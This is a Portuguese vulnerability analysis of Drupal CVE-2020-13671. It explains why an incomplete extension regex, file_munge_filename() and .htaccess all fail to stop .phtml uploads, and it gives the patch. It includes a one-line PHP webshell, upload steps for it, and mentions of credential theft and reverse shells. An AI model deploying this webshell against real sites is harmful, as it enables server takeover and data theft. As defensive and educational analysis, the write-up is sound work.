
Análise detalhada e prova de conceito para CVE-2020-13671, uma vulnerabilidade de execução remota de código no núcleo do Drupal por meio de upload de arquivo, incluindo causa raiz, etapas de exploração e remediação.
Software: Drupal Core 8.7.5 (Afetadas: 7.x < 7.78, 8.x < 8.8.11, 8.9.x < 8.9.9, 9.0.x < 9.0.8)
CVSS: 8.8 (Alta)
CWE: CWE-434 — Upload sem Restrições de Arquivo com Tipo Perigoso
CISA KEV: Sim — Vulnerabilidade Conhecida e Explorada
Aviso: SA-CORE-2020-012
O Drupal é um Sistema de Gerenciamento de Conteúdo (CMS) de código aberto escrito em PHP, semelhante ao WordPress ou Joomla, mas voltado para a construção de sistemas mais complexos — sites corporativos, plataformas multilíngues. O Drupal usa uma arquitetura modular, permitindo que a funcionalidade seja estendida habilitando/desabilitando módulos disponíveis ou instalando outros adicionais da comunidade.
Uma das funções básicas de qualquer CMS é permitir que usuários enviem arquivos — avatares de perfil, documentos anexos, anexos em artigos. O Drupal salva esses arquivos no diretório sites/default/files/ e os serve diretamente através do servidor web (Apache ou Nginx).
⇒ Isso cria uma superfície de ataque clara: se um atacante conseguir enviar um arquivo PHP para esse diretório, o servidor web o executará quando acessado por meio de uma requisição de entrada.
Para evitar isso, o Drupal constrói múltiplas camadas de defesa: validando extensões de arquivo, renomeando arquivos perigosos, colocando .htaccess para bloquear a execução de scripts no diretório de upload. Mas na versão 8.7.5, os atacantes exploram exatamente o ponto cego nessas camadas.
Essa vulnerabilidade requer uma conta com permissões de upload de arquivos. Por padrão, no Drupal 8.7.5, usuários comuns (Autenticados) só têm permissões para visualizar conteúdo e postar comentários — nenhuma permissão para criar artigos ou enviar arquivos.
| Conta | Explorável? | Explicação |
|---|---|---|
| Administrador | Sim | Permissões totais de upload |
| Editor / Criador de Conteúdo | Sim | Se tiver a permissão "Criar conteúdo" concedida com upload pelo admin |
| Usuário autenticado (padrão) | Não | Por padrão, não tem permissão para criar conteúdo ou enviar arquivos |
| Anônimo (não logado) | Não | Sem permissão de upload |
Porém, na prática, muitos sites Drupal concedem permissões de criação de conteúdo a usuários comuns (fóruns, blogs comunitários, sites de notícias que permitem envio de artigos). Nesses casos, um atacante só precisa registrar uma conta para explorá-la.
Fluxo de Ataque:
Attacker with upload-privileged account → Create article (Article)
→ Upload webshell.phtml via Image/File attachment field
→ Drupal saves the file with its original name into sites/default/files/
→ Attacker accesses the file URL → Apache executes PHP → RCE
No arquivo core/modules/file/file.module, há uma única regex que determina quais arquivos são considerados executáveis:
define('FILE_INSECURE_EXTENSION_REGEX', '/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i');

Essa regex lista 7 extensões: phar, php, pl, py, cgi, asp, js. Qualquer arquivo com uma extensão que corresponda a essa lista terá .txt adicionado automaticamente pelo Drupal — neutralizando a capacidade de execução.
No entanto, o motor PHP não processa apenas arquivos .php. Dependendo da configuração do servidor web, ele também reconhece e executa outras extensões:
| Extensão | Significado | Incluída na regex? |
|---|---|---|
.php | PHP padrão | Sim |
.phtml | Template alternativo PHP | Não |
.php5 | Manipulador PHP 5 | Não |
.pht | Template PHP | Não |
.phps | Código-fonte PHP | Não |
.shtml | Server-Side Includes | Não |
5 variantes de extensão PHP estão completamente ausentes da regex. Isso significa que um arquivo chamado shell.phtml enviado ao Drupal → a regex não corresponde → não é renomeado → salvo com seu nome original no diretório de upload → o servidor web vê .phtml → executa como PHP → o atacante obtém RCE. Essa é a causa raiz: o Drupal usava uma blacklist para bloquear extensões perigosas, mas essa lista estava incompleta.
Quando um usuário envia um arquivo, o Drupal o passa por 3 funções de validação antes de salvar. Abaixo está uma análise de por que todas as 3 falham com .phtml.
file_munge_filename() (core/includes/file.inc)Objetivo: detectar extensões perigosas localizadas no meio do nome do arquivo e adicionar _ para neutralizá-las. Como a função funciona:

$filename_parts = explode('.', $filename); // split filename by "."
$new_filename = array_shift($filename_parts); // get the first part = original name
$final_extension = array_pop($filename_parts); // get the last part = final extension
foreach ($filename_parts as $filename_part) {
// iterate over the MIDDLE parts
// if any part looks like a dangerous extension → append "_"
}
return $new_filename . '.' . $final_extension;
Por exemplo, com shell.phtml:
explode divide em ["shell", "phtml"]shift pega "shell", deixando ["phtml"]pop pega "phtml", deixando []foreach não executa"shell.phtml" intactoPorém, se o arquivo tiver apenas uma extensão, ela não intervém. Assim, essa função foi projetada apenas para lidar com arquivos de múltiplas extensões.
FILE_INSECURE_EXTENSION_REGEX (file.module:1015)Esta é a principal camada de defesa. Código na linha 1015:

if (!\Drupal::config('system.file')->get('allow_insecure_uploads')
&& preg_match(FILE_INSECURE_EXTENSION_REGEX, $file->getFilename())
&& (substr($file->getFilename(), -4) != '.txt')) {
$file->setMimeType('text/plain');
$file->setFilename($file->getFilename() . '.txt');
}
Se o nome do arquivo corresponder à regex → altere o MIME para text/plain e adicione .txt ao final.
Com shell.phtml:
preg_match('/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i', 'shell.phtml') retorna 0Assim, essa seção deveria ter bloqueado arquivos perigosos, mas como a regex não sabe que .phtml é perigoso, ela passa direto.
.htaccess no diretório de uploadO Drupal coloca um arquivo .htaccess em sites/default/files/:
SetHandler Drupal_Security_Do_Not_Remove_See_SA_2006_006
<Files *>
SetHandler Drupal_Security_Do_Not_Remove_See_SA_2013_003
</Files>
<IfModule mod_php5.c>
php_flag engine off
</IfModule>
A diretiva php_flag engine off desliga o motor PHP para todo o diretório, mas ela só se aplica ao mod_php5. O Drupal 8.7.5 roda em PHP 7, o que significa que mod_php7 está ativo e não desabilitado.
E o .htaccess também tem outras 3 fraquezas:
.htaccess — esse arquivo é completamente ineficaz no NginxAllowOverride None → .htaccess é ignoradomod_php → a diretiva php_flag não tem efeitoecho '<?php echo shell_exec($_GET["cmd"]); ?>' > webshell.phtml
Faça login no Drupal com uma conta que tenha permissões de upload → Conteúdo → Adicionar conteúdo → Artigo → no campo Imagem, selecione o arquivo webshell.phtml → Enviar.
O Drupal aceita o arquivo, não o renomeia e o salva com seu nome original em sites/default/files/.

Depois disso, execute o comando de shell com whoami:

Assim, alcançamos com sucesso RCE como www-data.
Testando mais a fundo para visualizar credenciais:

O atacante pode ler o settings.php contendo credenciais do banco de dados, despejar todo o DB, instalar um reverse shell ou escalar privilégios para root.
Atualize a regex — adicione as 5 extensões ausentes:
// Before:
'/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i'
// After:
'/\.(phar|php|pl|py|cgi|asp|js|phtml|php5|pht|phps|shtml)(\.|$)/i'
Atualize o .htaccess — adicione a desabilitação para mod_php7:
<IfModule mod_php7.c>
php_flag engine off
</IfModule>
O patch funciona, mas ainda depende de uma blacklist. Se novas extensões surgirem no futuro (.php8, .phpt), a regex precisará ser atualizada novamente. A whitelist — permitir apenas extensões conhecidas como seguras — seria uma abordagem mais completa.
| Arquivo Vulnerável | core/modules/file/file.module linha 28 |
|---|---|
| Causa Raiz | A blacklist da regex não contém .phtml, .php5, .pht, .phps, .shtml |
| Impacto | Upload de .phtml → servidor executa → RCE |
| 3 Camadas de Defesa Contornadas | file_munge_filename() → FILE_INSECURE_EXTENSION_REGEX → .htaccess |
| Correção | Adicionar 5 extensões à regex + desabilitar mod_php7 no .htaccess |